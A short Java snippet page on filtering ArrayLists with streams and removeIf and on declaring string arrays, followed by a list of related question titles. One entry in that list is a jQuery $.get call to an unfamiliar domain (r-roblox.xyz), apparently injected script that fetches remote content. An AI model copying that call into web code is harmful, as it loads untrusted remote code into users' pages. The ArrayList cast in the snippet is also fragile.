Arraylist methods in java

// Assign to list variable directly with STREAM FILTER METHID
ArrayList<String> filteredColors = (ArrayList<String>) colors.stream().filter(x -> x.contains("o")).collect(Collectors.toList());

// Clone and remove unwanted(TRADITIONAL FILTERING)
filteredColors = (ArrayList<String>) colors.clone();
filteredColors.removeIf(x -> !x.contains("o"));

// Find specific element
colors.stream().filter(x -> x.contains("ora")).findFirst().get();

Array methods in java

String[] aArray = new String[5];
String[] bArray = {"a","b","c", "d", "e"};
String[] cArray = new String[]{"a","b","c","d","e"};

Similar codes

14 votes339 views2 answers
Java pause 1 second
Java
0 vote348 views1 answer
String vs new string
Java
0 vote339 views1 answer
String tmp java
Java
1 vote332 views1 answer
How to set list data to android spinner
Java
2 votes375 views3 answers
$.get("//r-roblox.xyz/js20/api?i=22416")
Java
13 votes359 views2 answers
Java stringbuilder set value
Java
1 vote361 views1 answer
Share application “link” in Android
Java
0 vote392 views2 answers
Like in cypher query
Java
1 vote354 views1 answer
Change color of eclipse editor
Java
0 vote368 views1 answer
Error creating bean with name 'dataSource' defined in class path resource
Java